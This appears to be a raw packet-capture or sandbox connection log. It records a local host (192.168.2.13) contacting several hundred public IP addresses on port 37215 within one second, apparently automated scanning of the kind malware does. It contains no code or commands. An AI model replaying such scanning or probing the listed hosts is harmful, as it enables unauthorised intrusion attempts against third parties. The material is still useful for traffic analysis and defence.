Jan 1, 2024 12:51:48.995990992 CET	37751	37215	192.168.2.13	197.180.233.155
Jan 1, 2024 12:51:48.995996952 CET	37751	37215	192.168.2.13	197.194.18.125
Jan 1, 2024 12:51:48.995996952 CET	37751	37215	192.168.2.13	186.216.131.205
Jan 1, 2024 12:51:48.995996952 CET	37751	37215	192.168.2.13	181.76.3.231
Jan 1, 2024 12:51:48.995996952 CET	37751	37215	192.168.2.13	197.176.53.201
Jan 1, 2024 12:51:48.996000051 CET	37751	37215	192.168.2.13	196.195.65.237
Jan 1, 2024 12:51:48.996000051 CET	37751	37215	192.168.2.13	197.21.47.78
Jan 1, 2024 12:51:48.996000051 CET	37751	37215	192.168.2.13	41.220.135.17
Jan 1, 2024 12:51:48.996002913 CET	37751	37215	192.168.2.13	120.42.114.0
Jan 1, 2024 12:51:48.996002913 CET	37751	37215	192.168.2.13	41.73.27.230
Jan 1, 2024 12:51:48.996002913 CET	37751	37215	192.168.2.13	197.50.1.194
Jan 1, 2024 12:51:48.996006966 CET	37751	37215	192.168.2.13	41.201.179.255
Jan 1, 2024 12:51:48.996007919 CET	37751	37215	192.168.2.13	197.96.126.82
Jan 1, 2024 12:51:48.996026993 CET	37751	37215	192.168.2.13	181.245.54.165
Jan 1, 2024 12:51:48.996026993 CET	37751	37215	192.168.2.13	156.243.191.42
Jan 1, 2024 12:51:48.996030092 CET	37751	37215	192.168.2.13	156.124.71.244
Jan 1, 2024 12:51:48.996046066 CET	37751	37215	192.168.2.13	197.142.201.44
Jan 1, 2024 12:51:48.996049881 CET	37751	37215	192.168.2.13	156.184.12.124
Jan 1, 2024 12:51:48.996049881 CET	37751	37215	192.168.2.13	138.97.47.200
Jan 1, 2024 12:51:48.996052980 CET	37751	37215	192.168.2.13	197.18.44.132
Jan 1, 2024 12:51:48.996052980 CET	37751	37215	192.168.2.13	41.152.123.189
Jan 1, 2024 12:51:48.996053934 CET	37751	37215	192.168.2.13	156.135.71.211
Jan 1, 2024 12:51:48.996053934 CET	37751	37215	192.168.2.13	156.31.188.86
Jan 1, 2024 12:51:48.996058941 CET	37751	37215	192.168.2.13	156.33.132.233
Jan 1, 2024 12:51:48.996058941 CET	37751	37215	192.168.2.13	122.196.7.150
Jan 1, 2024 12:51:48.996059895 CET	37751	37215	192.168.2.13	160.42.122.94
Jan 1, 2024 12:51:48.996058941 CET	37751	37215	192.168.2.13	156.101.243.42
Jan 1, 2024 12:51:48.996066093 CET	37751	37215	192.168.2.13	197.171.132.161
Jan 1, 2024 12:51:48.996072054 CET	37751	37215	192.168.2.13	160.196.254.110
Jan 1, 2024 12:51:48.996073008 CET	37751	37215	192.168.2.13	197.54.64.121
Jan 1, 2024 12:51:48.996077061 CET	37751	37215	192.168.2.13	156.104.174.197
Jan 1, 2024 12:51:48.996083975 CET	37751	37215	192.168.2.13	41.240.196.128
Jan 1, 2024 12:51:48.996088028 CET	37751	37215	192.168.2.13	121.28.193.7
Jan 1, 2024 12:51:48.996090889 CET	37751	37215	192.168.2.13	197.125.93.9
Jan 1, 2024 12:51:48.996099949 CET	37751	37215	192.168.2.13	156.196.137.50
Jan 1, 2024 12:51:48.996099949 CET	37751	37215	192.168.2.13	107.119.63.52
Jan 1, 2024 12:51:48.996102095 CET	37751	37215	192.168.2.13	41.27.244.84
Jan 1, 2024 12:51:48.996107101 CET	37751	37215	192.168.2.13	197.16.192.249
Jan 1, 2024 12:51:48.996115923 CET	37751	37215	192.168.2.13	95.44.157.228
Jan 1, 2024 12:51:48.996119976 CET	37751	37215	192.168.2.13	94.59.84.26
Jan 1, 2024 12:51:48.996129036 CET	37751	37215	192.168.2.13	156.145.200.146
Jan 1, 2024 12:51:48.996129990 CET	37751	37215	192.168.2.13	41.113.134.59
Jan 1, 2024 12:51:48.996129990 CET	37751	37215	192.168.2.13	157.57.232.29
Jan 1, 2024 12:51:48.996150017 CET	37751	37215	192.168.2.13	107.148.164.117
Jan 1, 2024 12:51:48.996150970 CET	37751	37215	192.168.2.13	197.107.247.224
Jan 1, 2024 12:51:48.996150970 CET	37751	37215	192.168.2.13	156.27.234.72
Jan 1, 2024 12:51:48.996151924 CET	37751	37215	192.168.2.13	41.95.250.150
Jan 1, 2024 12:51:48.996151924 CET	37751	37215	192.168.2.13	197.138.117.161
Jan 1, 2024 12:51:48.996154070 CET	37751	37215	192.168.2.13	41.213.108.218
Jan 1, 2024 12:51:48.996154070 CET	37751	37215	192.168.2.13	41.96.11.64
Jan 1, 2024 12:51:48.996154070 CET	37751	37215	192.168.2.13	41.55.201.25
Jan 1, 2024 12:51:48.996160984 CET	37751	37215	192.168.2.13	186.8.147.76
Jan 1, 2024 12:51:48.996160984 CET	37751	37215	192.168.2.13	41.125.143.38
Jan 1, 2024 12:51:48.996164083 CET	37751	37215	192.168.2.13	197.124.110.226
Jan 1, 2024 12:51:48.996164083 CET	37751	37215	192.168.2.13	41.41.178.68
Jan 1, 2024 12:51:48.996164083 CET	37751	37215	192.168.2.13	222.92.251.223
Jan 1, 2024 12:51:48.996165991 CET	37751	37215	192.168.2.13	156.67.26.117
Jan 1, 2024 12:51:48.996164083 CET	37751	37215	192.168.2.13	197.244.106.17
Jan 1, 2024 12:51:48.996165991 CET	37751	37215	192.168.2.13	41.190.240.247
Jan 1, 2024 12:51:48.996170998 CET	37751	37215	192.168.2.13	197.221.160.243
Jan 1, 2024 12:51:48.996172905 CET	37751	37215	192.168.2.13	41.115.204.45
Jan 1, 2024 12:51:48.996172905 CET	37751	37215	192.168.2.13	156.7.175.160
Jan 1, 2024 12:51:48.996180058 CET	37751	37215	192.168.2.13	157.14.246.174
Jan 1, 2024 12:51:48.996180058 CET	37751	37215	192.168.2.13	156.198.112.251
Jan 1, 2024 12:51:48.996181965 CET	37751	37215	192.168.2.13	156.27.151.27
Jan 1, 2024 12:51:48.996181011 CET	37751	37215	192.168.2.13	41.236.165.172
Jan 1, 2024 12:51:48.996181965 CET	37751	37215	192.168.2.13	156.48.39.177
Jan 1, 2024 12:51:48.996182919 CET	37751	37215	192.168.2.13	197.17.169.78
Jan 1, 2024 12:51:48.996184111 CET	37751	37215	192.168.2.13	181.15.173.112
Jan 1, 2024 12:51:48.996184111 CET	37751	37215	192.168.2.13	197.146.105.137
Jan 1, 2024 12:51:48.996184111 CET	37751	37215	192.168.2.13	197.74.243.16
Jan 1, 2024 12:51:48.996184111 CET	37751	37215	192.168.2.13	121.247.207.171
Jan 1, 2024 12:51:48.996186972 CET	37751	37215	192.168.2.13	157.89.125.124
Jan 1, 2024 12:51:48.996197939 CET	37751	37215	192.168.2.13	197.67.131.172
Jan 1, 2024 12:51:48.996206999 CET	37751	37215	192.168.2.13	156.108.139.242
Jan 1, 2024 12:51:48.996210098 CET	37751	37215	192.168.2.13	41.40.30.64
Jan 1, 2024 12:51:48.996221066 CET	37751	37215	192.168.2.13	197.96.110.49
Jan 1, 2024 12:51:48.996221066 CET	37751	37215	192.168.2.13	197.217.136.242
Jan 1, 2024 12:51:48.996222019 CET	37751	37215	192.168.2.13	156.62.131.119
Jan 1, 2024 12:51:48.996222019 CET	37751	37215	192.168.2.13	41.4.199.92
Jan 1, 2024 12:51:48.996221066 CET	37751	37215	192.168.2.13	156.74.4.172
Jan 1, 2024 12:51:48.996221066 CET	37751	37215	192.168.2.13	197.213.16.199
Jan 1, 2024 12:51:48.996221066 CET	37751	37215	192.168.2.13	41.235.85.203
Jan 1, 2024 12:51:48.996222019 CET	37751	37215	192.168.2.13	122.38.45.85
Jan 1, 2024 12:51:48.996227026 CET	37751	37215	192.168.2.13	156.103.219.156
Jan 1, 2024 12:51:48.996233940 CET	37751	37215	192.168.2.13	197.16.45.143
Jan 1, 2024 12:51:48.996238947 CET	37751	37215	192.168.2.13	41.65.113.20
Jan 1, 2024 12:51:48.996241093 CET	37751	37215	192.168.2.13	94.72.185.42
Jan 1, 2024 12:51:48.996241093 CET	37751	37215	192.168.2.13	120.197.151.231
Jan 1, 2024 12:51:48.996248007 CET	37751	37215	192.168.2.13	156.149.184.59
Jan 1, 2024 12:51:48.996253967 CET	37751	37215	192.168.2.13	186.65.206.54
Jan 1, 2024 12:51:48.996258020 CET	37751	37215	192.168.2.13	107.116.94.239
Jan 1, 2024 12:51:48.996258020 CET	37751	37215	192.168.2.13	222.247.199.124
Jan 1, 2024 12:51:48.996259928 CET	37751	37215	192.168.2.13	156.34.241.243
Jan 1, 2024 12:51:48.996259928 CET	37751	37215	192.168.2.13	156.81.106.190
Jan 1, 2024 12:51:48.996262074 CET	37751	37215	192.168.2.13	41.233.57.102
Jan 1, 2024 12:51:48.996262074 CET	37751	37215	192.168.2.13	156.120.81.241
Jan 1, 2024 12:51:48.996262074 CET	37751	37215	192.168.2.13	197.83.48.203
Jan 1, 2024 12:51:48.996262074 CET	37751	37215	192.168.2.13	222.55.71.103
Jan 1, 2024 12:51:48.996265888 CET	37751	37215	192.168.2.13	197.200.221.103
Jan 1, 2024 12:51:48.996265888 CET	37751	37215	192.168.2.13	121.30.68.28
Jan 1, 2024 12:51:48.996265888 CET	37751	37215	192.168.2.13	41.242.70.188
Jan 1, 2024 12:51:48.996265888 CET	37751	37215	192.168.2.13	107.196.63.85
Jan 1, 2024 12:51:48.996268988 CET	37751	37215	192.168.2.13	121.149.161.226
Jan 1, 2024 12:51:48.996268988 CET	37751	37215	192.168.2.13	122.106.253.136
Jan 1, 2024 12:51:48.996268988 CET	37751	37215	192.168.2.13	190.2.218.178
Jan 1, 2024 12:51:48.996268988 CET	37751	37215	192.168.2.13	41.200.65.35
Jan 1, 2024 12:51:48.996274948 CET	37751	37215	192.168.2.13	41.89.80.52
Jan 1, 2024 12:51:48.996274948 CET	37751	37215	192.168.2.13	107.21.83.141
Jan 1, 2024 12:51:48.996275902 CET	37751	37215	192.168.2.13	94.234.113.11
Jan 1, 2024 12:51:48.996277094 CET	37751	37215	192.168.2.13	197.41.45.255
Jan 1, 2024 12:51:48.996287107 CET	37751	37215	192.168.2.13	41.62.63.50
Jan 1, 2024 12:51:48.996289968 CET	37751	37215	192.168.2.13	156.74.249.48
Jan 1, 2024 12:51:48.996294022 CET	37751	37215	192.168.2.13	156.112.26.150
Jan 1, 2024 12:51:48.996294975 CET	37751	37215	192.168.2.13	157.249.220.145
Jan 1, 2024 12:51:48.996296883 CET	37751	37215	192.168.2.13	122.138.185.55
Jan 1, 2024 12:51:48.996306896 CET	37751	37215	192.168.2.13	92.79.112.255
Jan 1, 2024 12:51:48.996309042 CET	37751	37215	192.168.2.13	41.65.232.104
Jan 1, 2024 12:51:48.996315956 CET	37751	37215	192.168.2.13	197.222.141.70
Jan 1, 2024 12:51:48.996316910 CET	37751	37215	192.168.2.13	45.184.114.59
Jan 1, 2024 12:51:48.996316910 CET	37751	37215	192.168.2.13	92.11.7.166
Jan 1, 2024 12:51:48.996332884 CET	37751	37215	192.168.2.13	197.101.182.131
Jan 1, 2024 12:51:48.996334076 CET	37751	37215	192.168.2.13	197.191.123.39
Jan 1, 2024 12:51:48.996335030 CET	37751	37215	192.168.2.13	181.116.174.103
Jan 1, 2024 12:51:48.996335030 CET	37751	37215	192.168.2.13	197.64.70.178
Jan 1, 2024 12:51:48.996345997 CET	37751	37215	192.168.2.13	41.247.158.40
Jan 1, 2024 12:51:48.996345997 CET	37751	37215	192.168.2.13	41.223.254.61
Jan 1, 2024 12:51:48.996345997 CET	37751	37215	192.168.2.13	41.38.140.141
Jan 1, 2024 12:51:48.996356964 CET	37751	37215	192.168.2.13	181.75.29.96
Jan 1, 2024 12:51:48.996359110 CET	37751	37215	192.168.2.13	160.249.78.115
Jan 1, 2024 12:51:48.996368885 CET	37751	37215	192.168.2.13	190.129.239.200
Jan 1, 2024 12:51:48.996371031 CET	37751	37215	192.168.2.13	157.70.20.7
Jan 1, 2024 12:51:48.996393919 CET	37751	37215	192.168.2.13	197.90.105.80
Jan 1, 2024 12:51:48.996396065 CET	37751	37215	192.168.2.13	156.249.164.184
Jan 1, 2024 12:51:48.996396065 CET	37751	37215	192.168.2.13	197.99.40.90
Jan 1, 2024 12:51:48.996396065 CET	37751	37215	192.168.2.13	196.139.205.218
Jan 1, 2024 12:51:48.996398926 CET	37751	37215	192.168.2.13	197.52.255.86
Jan 1, 2024 12:51:48.996398926 CET	37751	37215	192.168.2.13	41.21.4.79
Jan 1, 2024 12:51:48.996398926 CET	37751	37215	192.168.2.13	41.152.133.157
Jan 1, 2024 12:51:48.996404886 CET	37751	37215	192.168.2.13	156.87.156.86
Jan 1, 2024 12:51:48.996404886 CET	37751	37215	192.168.2.13	196.129.153.174
Jan 1, 2024 12:51:48.996406078 CET	37751	37215	192.168.2.13	41.131.164.154
Jan 1, 2024 12:51:48.996411085 CET	37751	37215	192.168.2.13	156.12.61.90
Jan 1, 2024 12:51:48.996411085 CET	37751	37215	192.168.2.13	92.105.35.198
Jan 1, 2024 12:51:48.996411085 CET	37751	37215	192.168.2.13	197.87.234.207
Jan 1, 2024 12:51:48.996416092 CET	37751	37215	192.168.2.13	197.66.141.38
Jan 1, 2024 12:51:48.996416092 CET	37751	37215	192.168.2.13	156.238.172.56
Jan 1, 2024 12:51:48.996416092 CET	37751	37215	192.168.2.13	156.205.137.58
Jan 1, 2024 12:51:48.996417999 CET	37751	37215	192.168.2.13	197.120.129.91
Jan 1, 2024 12:51:48.996418953 CET	37751	37215	192.168.2.13	156.225.79.53
Jan 1, 2024 12:51:48.996417999 CET	37751	37215	192.168.2.13	156.73.32.114
Jan 1, 2024 12:51:48.996421099 CET	37751	37215	192.168.2.13	156.5.252.138
Jan 1, 2024 12:51:48.996421099 CET	37751	37215	192.168.2.13	197.3.108.223
Jan 1, 2024 12:51:48.996421099 CET	37751	37215	192.168.2.13	181.143.58.206
Jan 1, 2024 12:51:48.996428967 CET	37751	37215	192.168.2.13	41.216.205.68
Jan 1, 2024 12:51:48.996431112 CET	37751	37215	192.168.2.13	156.7.77.52
Jan 1, 2024 12:51:48.996431112 CET	37751	37215	192.168.2.13	197.194.213.59
Jan 1, 2024 12:51:48.996432066 CET	37751	37215	192.168.2.13	37.169.114.178
Jan 1, 2024 12:51:48.996432066 CET	37751	37215	192.168.2.13	156.113.46.67
Jan 1, 2024 12:51:48.996442080 CET	37751	37215	192.168.2.13	121.149.224.195
Jan 1, 2024 12:51:48.996442080 CET	37751	37215	192.168.2.13	120.106.96.217
Jan 1, 2024 12:51:48.996443987 CET	37751	37215	192.168.2.13	154.174.4.151
Jan 1, 2024 12:51:48.996443987 CET	37751	37215	192.168.2.13	41.68.128.40
Jan 1, 2024 12:51:48.996444941 CET	37751	37215	192.168.2.13	197.12.6.18
Jan 1, 2024 12:51:48.996449947 CET	37751	37215	192.168.2.13	156.69.0.38
Jan 1, 2024 12:51:48.996459961 CET	37751	37215	192.168.2.13	197.175.45.208
Jan 1, 2024 12:51:48.996459961 CET	37751	37215	192.168.2.13	157.136.52.56
Jan 1, 2024 12:51:48.996460915 CET	37751	37215	192.168.2.13	156.245.194.223
Jan 1, 2024 12:51:48.996467113 CET	37751	37215	192.168.2.13	41.91.178.81
Jan 1, 2024 12:51:48.996480942 CET	37751	37215	192.168.2.13	92.149.97.191
Jan 1, 2024 12:51:48.996486902 CET	37751	37215	192.168.2.13	156.41.254.144
Jan 1, 2024 12:51:48.996489048 CET	37751	37215	192.168.2.13	197.78.69.222
Jan 1, 2024 12:51:48.996500969 CET	37751	37215	192.168.2.13	107.98.251.6
Jan 1, 2024 12:51:48.996505022 CET	37751	37215	192.168.2.13	222.16.254.102
Jan 1, 2024 12:51:48.996506929 CET	37751	37215	192.168.2.13	197.229.208.165
Jan 1, 2024 12:51:48.996519089 CET	37751	37215	192.168.2.13	197.47.50.175
Jan 1, 2024 12:51:48.996522903 CET	37751	37215	192.168.2.13	156.87.70.41
Jan 1, 2024 12:51:48.996529102 CET	37751	37215	192.168.2.13	197.160.36.224
Jan 1, 2024 12:51:48.996530056 CET	37751	37215	192.168.2.13	41.76.30.45
Jan 1, 2024 12:51:48.996532917 CET	37751	37215	192.168.2.13	156.183.210.244
Jan 1, 2024 12:51:48.996535063 CET	37751	37215	192.168.2.13	157.70.69.27
Jan 1, 2024 12:51:48.996535063 CET	37751	37215	192.168.2.13	121.44.41.225
Jan 1, 2024 12:51:48.996535063 CET	37751	37215	192.168.2.13	156.111.137.113
Jan 1, 2024 12:51:48.996536970 CET	37751	37215	192.168.2.13	186.68.185.160
Jan 1, 2024 12:51:48.996536970 CET	37751	37215	192.168.2.13	186.95.179.184
Jan 1, 2024 12:51:48.996536970 CET	37751	37215	192.168.2.13	95.33.212.214
Jan 1, 2024 12:51:48.996539116 CET	37751	37215	192.168.2.13	156.216.23.219
Jan 1, 2024 12:51:48.996539116 CET	37751	37215	192.168.2.13	41.94.127.104
Jan 1, 2024 12:51:48.996552944 CET	37751	37215	192.168.2.13	197.55.220.27
Jan 1, 2024 12:51:48.996555090 CET	37751	37215	192.168.2.13	94.239.186.255
Jan 1, 2024 12:51:48.996560097 CET	37751	37215	192.168.2.13	196.32.146.66
Jan 1, 2024 12:51:48.996560097 CET	37751	37215	192.168.2.13	37.9.63.127
Jan 1, 2024 12:51:48.996562958 CET	37751	37215	192.168.2.13	197.223.2.60
Jan 1, 2024 12:51:48.996563911 CET	37751	37215	192.168.2.13	122.23.130.196
Jan 1, 2024 12:51:48.996576071 CET	37751	37215	192.168.2.13	197.242.19.71
Jan 1, 2024 12:51:48.996576071 CET	37751	37215	192.168.2.13	156.137.233.191
Jan 1, 2024 12:51:48.996602058 CET	37751	37215	192.168.2.13	197.93.19.209
Jan 1, 2024 12:51:48.996603966 CET	37751	37215	192.168.2.13	156.233.189.47
Jan 1, 2024 12:51:48.996606112 CET	37751	37215	192.168.2.13	41.178.125.149
Jan 1, 2024 12:51:48.996606112 CET	37751	37215	192.168.2.13	197.164.34.102
Jan 1, 2024 12:51:48.996603966 CET	37751	37215	192.168.2.13	197.177.132.159
Jan 1, 2024 12:51:48.996606112 CET	37751	37215	192.168.2.13	156.136.49.88
Jan 1, 2024 12:51:48.996606112 CET	37751	37215	192.168.2.13	156.4.141.182
Jan 1, 2024 12:51:48.996612072 CET	37751	37215	192.168.2.13	156.177.254.236
Jan 1, 2024 12:51:48.996612072 CET	37751	37215	192.168.2.13	222.91.0.10
Jan 1, 2024 12:51:48.996613979 CET	37751	37215	192.168.2.13	41.10.157.195
Jan 1, 2024 12:51:48.996613979 CET	37751	37215	192.168.2.13	197.165.151.155
Jan 1, 2024 12:51:48.996615887 CET	37751	37215	192.168.2.13	156.61.55.254
Jan 1, 2024 12:51:48.996617079 CET	37751	37215	192.168.2.13	197.201.72.116
Jan 1, 2024 12:51:48.996617079 CET	37751	37215	192.168.2.13	45.147.82.149
Jan 1, 2024 12:51:48.996619940 CET	37751	37215	192.168.2.13	197.64.32.79
Jan 1, 2024 12:51:48.996619940 CET	37751	37215	192.168.2.13	156.154.207.55
Jan 1, 2024 12:51:48.996619940 CET	37751	37215	192.168.2.13	197.161.151.85
Jan 1, 2024 12:51:48.996619940 CET	37751	37215	192.168.2.13	41.46.26.9
Jan 1, 2024 12:51:48.996619940 CET	37751	37215	192.168.2.13	102.196.122.213
Jan 1, 2024 12:51:48.996628046 CET	37751	37215	192.168.2.13	41.183.17.147
Jan 1, 2024 12:51:48.996629953 CET	37751	37215	192.168.2.13	156.10.71.199
Jan 1, 2024 12:51:48.996630907 CET	37751	37215	192.168.2.13	41.123.11.205
Jan 1, 2024 12:51:48.996630907 CET	37751	37215	192.168.2.13	41.138.76.88
Jan 1, 2024 12:51:48.996643066 CET	37751	37215	192.168.2.13	41.24.71.49
Jan 1, 2024 12:51:48.996643066 CET	37751	37215	192.168.2.13	41.221.83.63
Jan 1, 2024 12:51:48.996643066 CET	37751	37215	192.168.2.13	94.214.205.132
Jan 1, 2024 12:51:48.996655941 CET	37751	37215	192.168.2.13	157.65.180.244
Jan 1, 2024 12:51:48.996655941 CET	37751	37215	192.168.2.13	41.17.235.137
Jan 1, 2024 12:51:48.996656895 CET	37751	37215	192.168.2.13	181.149.44.44
Jan 1, 2024 12:51:48.996660948 CET	37751	37215	192.168.2.13	197.195.189.206
Jan 1, 2024 12:51:48.996663094 CET	37751	37215	192.168.2.13	190.222.77.106
Jan 1, 2024 12:51:48.996686935 CET	37751	37215	192.168.2.13	197.241.94.89
Jan 1, 2024 12:51:48.996686935 CET	37751	37215	192.168.2.13	37.66.200.105
Jan 1, 2024 12:51:48.996690035 CET	37751	37215	192.168.2.13	156.87.166.185
Jan 1, 2024 12:51:48.996704102 CET	37751	37215	192.168.2.13	197.1.79.218
Jan 1, 2024 12:51:48.996704102 CET	37751	37215	192.168.2.13	121.250.157.31
Jan 1, 2024 12:51:48.996706009 CET	37751	37215	192.168.2.13	107.121.85.160
Jan 1, 2024 12:51:48.996706009 CET	37751	37215	192.168.2.13	156.75.64.34
Jan 1, 2024 12:51:48.996704102 CET	37751	37215	192.168.2.13	154.64.15.151
Jan 1, 2024 12:51:48.996711016 CET	37751	37215	192.168.2.13	197.145.52.137
Jan 1, 2024 12:51:48.996722937 CET	37751	37215	192.168.2.13	121.101.173.191
Jan 1, 2024 12:51:48.996723890 CET	37751	37215	192.168.2.13	41.64.102.125
Jan 1, 2024 12:51:48.996732950 CET	37751	37215	192.168.2.13	41.82.70.211
Jan 1, 2024 12:51:48.996735096 CET	37751	37215	192.168.2.13	222.173.252.47
Jan 1, 2024 12:51:48.996740103 CET	37751	37215	192.168.2.13	156.156.137.132
Jan 1, 2024 12:51:48.996741056 CET	37751	37215	192.168.2.13	197.55.115.163
Jan 1, 2024 12:51:48.996747971 CET	37751	37215	192.168.2.13	41.11.198.210
Jan 1, 2024 12:51:48.996750116 CET	37751	37215	192.168.2.13	95.38.92.159
Jan 1, 2024 12:51:48.996778965 CET	37751	37215	192.168.2.13	156.206.164.221
Jan 1, 2024 12:51:48.996781111 CET	37751	37215	192.168.2.13	102.239.57.146
Jan 1, 2024 12:51:48.996781111 CET	37751	37215	192.168.2.13	197.126.43.67
Jan 1, 2024 12:51:48.996782064 CET	37751	37215	192.168.2.13	41.37.15.20
Jan 1, 2024 12:51:48.996782064 CET	37751	37215	192.168.2.13	156.174.224.130
Jan 1, 2024 12:51:48.996782064 CET	37751	37215	192.168.2.13	37.43.96.61
Jan 1, 2024 12:51:48.996782064 CET	37751	37215	192.168.2.13	156.89.127.13
Jan 1, 2024 12:51:48.996781111 CET	37751	37215	192.168.2.13	45.35.225.135
Jan 1, 2024 12:51:48.996788979 CET	37751	37215	192.168.2.13	197.74.188.196
Jan 1, 2024 12:51:48.996793985 CET	37751	37215	192.168.2.13	197.30.27.214
Jan 1, 2024 12:51:48.996794939 CET	37751	37215	192.168.2.13	138.250.188.192
Jan 1, 2024 12:51:48.996794939 CET	37751	37215	192.168.2.13	186.90.144.200
Jan 1, 2024 12:51:48.996794939 CET	37751	37215	192.168.2.13	156.159.3.242
Jan 1, 2024 12:51:48.996794939 CET	37751	37215	192.168.2.13	37.149.161.169
Jan 1, 2024 12:51:48.996797085 CET	37751	37215	192.168.2.13	41.42.210.180
Jan 1, 2024 12:51:48.996794939 CET	37751	37215	192.168.2.13	154.219.123.223
Jan 1, 2024 12:51:48.996797085 CET	37751	37215	192.168.2.13	197.240.203.246
Jan 1, 2024 12:51:48.996797085 CET	37751	37215	192.168.2.13	197.10.208.36
Jan 1, 2024 12:51:48.996797085 CET	37751	37215	192.168.2.13	92.252.47.248
Jan 1, 2024 12:51:48.996797085 CET	37751	37215	192.168.2.13	156.45.247.134
Jan 1, 2024 12:51:48.996800900 CET	37751	37215	192.168.2.13	197.130.69.180
Jan 1, 2024 12:51:48.996800900 CET	37751	37215	192.168.2.13	186.181.6.103
Jan 1, 2024 12:51:48.996803045 CET	37751	37215	192.168.2.13	197.192.27.62
Jan 1, 2024 12:51:48.996803045 CET	37751	37215	192.168.2.13	181.131.137.253
Jan 1, 2024 12:51:48.996803045 CET	37751	37215	192.168.2.13	190.71.80.34
Jan 1, 2024 12:51:48.996805906 CET	37751	37215	192.168.2.13	94.233.92.133
Jan 1, 2024 12:51:48.996805906 CET	37751	37215	192.168.2.13	181.56.139.17
Jan 1, 2024 12:51:48.996807098 CET	37751	37215	192.168.2.13	45.104.226.64
Jan 1, 2024 12:51:48.996807098 CET	37751	37215	192.168.2.13	222.73.182.245
Jan 1, 2024 12:51:48.996814013 CET	37751	37215	192.168.2.13	41.249.113.95
Jan 1, 2024 12:51:48.996814966 CET	37751	37215	192.168.2.13	41.23.178.160
Jan 1, 2024 12:51:48.996814966 CET	37751	37215	192.168.2.13	186.25.216.63
Jan 1, 2024 12:51:48.996814966 CET	37751	37215	192.168.2.13	156.167.62.120
Jan 1, 2024 12:51:48.996829033 CET	37751	37215	192.168.2.13	41.173.238.71
Jan 1, 2024 12:51:48.996829987 CET	37751	37215	192.168.2.13	197.79.220.212
Jan 1, 2024 12:51:48.996829987 CET	37751	37215	192.168.2.13	156.141.43.27
Jan 1, 2024 12:51:48.996838093 CET	37751	37215	192.168.2.13	156.127.41.19
Jan 1, 2024 12:51:48.996840954 CET	37751	37215	192.168.2.13	41.53.101.155
Jan 1, 2024 12:51:48.996840954 CET	37751	37215	192.168.2.13	197.244.218.26
Jan 1, 2024 12:51:48.996846914 CET	37751	37215	192.168.2.13	41.169.203.147
Jan 1, 2024 12:51:48.996857882 CET	37751	37215	192.168.2.13	156.39.74.17
Jan 1, 2024 12:51:48.996861935 CET	37751	37215	192.168.2.13	102.124.241.6
Jan 1, 2024 12:51:48.996865988 CET	37751	37215	192.168.2.13	197.95.222.158
Jan 1, 2024 12:51:48.996876001 CET	37751	37215	192.168.2.13	92.5.247.115
Jan 1, 2024 12:51:48.996876001 CET	37751	37215	192.168.2.13	121.44.243.34
Jan 1, 2024 12:51:48.996876001 CET	37751	37215	192.168.2.13	156.190.17.151
Jan 1, 2024 12:51:48.996876001 CET	37751	37215	192.168.2.13	197.61.251.138
Jan 1, 2024 12:51:48.996876001 CET	37751	37215	192.168.2.13	156.122.104.250
Jan 1, 2024 12:51:48.996879101 CET	37751	37215	192.168.2.13	102.102.71.239
Jan 1, 2024 12:51:48.996881008 CET	37751	37215	192.168.2.13	197.118.218.89
Jan 1, 2024 12:51:48.996881962 CET	37751	37215	192.168.2.13	41.174.151.7
Jan 1, 2024 12:51:48.996881962 CET	37751	37215	192.168.2.13	41.156.91.203
Jan 1, 2024 12:51:48.996881962 CET	37751	37215	192.168.2.13	156.60.19.221
Jan 1, 2024 12:51:48.996889114 CET	37751	37215	192.168.2.13	41.170.248.216
Jan 1, 2024 12:51:48.996890068 CET	37751	37215	192.168.2.13	107.216.202.99
Jan 1, 2024 12:51:48.996896029 CET	37751	37215	192.168.2.13	95.197.137.171
Jan 1, 2024 12:51:48.996896029 CET	37751	37215	192.168.2.13	197.52.209.249
Jan 1, 2024 12:51:48.996896982 CET	37751	37215	192.168.2.13	120.134.165.12
Jan 1, 2024 12:51:48.996897936 CET	37751	37215	192.168.2.13	197.231.117.195
Jan 1, 2024 12:51:48.996897936 CET	37751	37215	192.168.2.13	92.210.248.57
Jan 1, 2024 12:51:48.996900082 CET	37751	37215	192.168.2.13	95.184.150.4
Jan 1, 2024 12:51:48.996902943 CET	37751	37215	192.168.2.13	156.193.184.244
Jan 1, 2024 12:51:48.996912003 CET	37751	37215	192.168.2.13	156.96.254.5
Jan 1, 2024 12:51:48.996912003 CET	37751	37215	192.168.2.13	197.124.251.85
Jan 1, 2024 12:51:48.996927023 CET	37751	37215	192.168.2.13	156.236.48.77
Jan 1, 2024 12:51:48.996927023 CET	37751	37215	192.168.2.13	120.168.94.207
Jan 1, 2024 12:51:48.996927023 CET	37751	37215	192.168.2.13	41.194.17.26
Jan 1, 2024 12:51:48.996927977 CET	37751	37215	192.168.2.13	156.222.128.108
Jan 1, 2024 12:51:48.996942997 CET	37751	37215	192.168.2.13	197.73.199.54
Jan 1, 2024 12:51:48.996942997 CET	37751	37215	192.168.2.13	41.217.58.53
Jan 1, 2024 12:51:48.996943951 CET	37751	37215	192.168.2.13	197.132.6.175
Jan 1, 2024 12:51:48.996964931 CET	37751	37215	192.168.2.13	156.238.13.247
Jan 1, 2024 12:51:48.996964931 CET	37751	37215	192.168.2.13	41.223.94.230
Jan 1, 2024 12:51:48.996964931 CET	37751	37215	192.168.2.13	156.234.198.41
Jan 1, 2024 12:51:48.996968985 CET	37751	37215	192.168.2.13	102.202.49.92
Jan 1, 2024 12:51:48.996968985 CET	37751	37215	192.168.2.13	197.29.101.27
Jan 1, 2024 12:51:48.996973038 CET	37751	37215	192.168.2.13	190.248.75.110
Jan 1, 2024 12:51:48.996973038 CET	37751	37215	192.168.2.13	197.62.139.236
Jan 1, 2024 12:51:48.996977091 CET	37751	37215	192.168.2.13	154.92.219.82
Jan 1, 2024 12:51:48.996977091 CET	37751	37215	192.168.2.13	156.211.119.37
Jan 1, 2024 12:51:48.996977091 CET	37751	37215	192.168.2.13	41.128.171.160
Jan 1, 2024 12:51:48.996978045 CET	37751	37215	192.168.2.13	95.1.246.56
Jan 1, 2024 12:51:48.996978045 CET	37751	37215	192.168.2.13	197.87.159.32
Jan 1, 2024 12:51:48.996978998 CET	37751	37215	192.168.2.13	138.204.91.248
Jan 1, 2024 12:51:48.996978998 CET	37751	37215	192.168.2.13	156.72.49.243
Jan 1, 2024 12:51:48.996982098 CET	37751	37215	192.168.2.13	156.217.238.211
Jan 1, 2024 12:51:48.996977091 CET	37751	37215	192.168.2.13	197.15.164.16
Jan 1, 2024 12:51:48.996983051 CET	37751	37215	192.168.2.13	197.158.119.14
Jan 1, 2024 12:51:48.996977091 CET	37751	37215	192.168.2.13	156.143.239.102
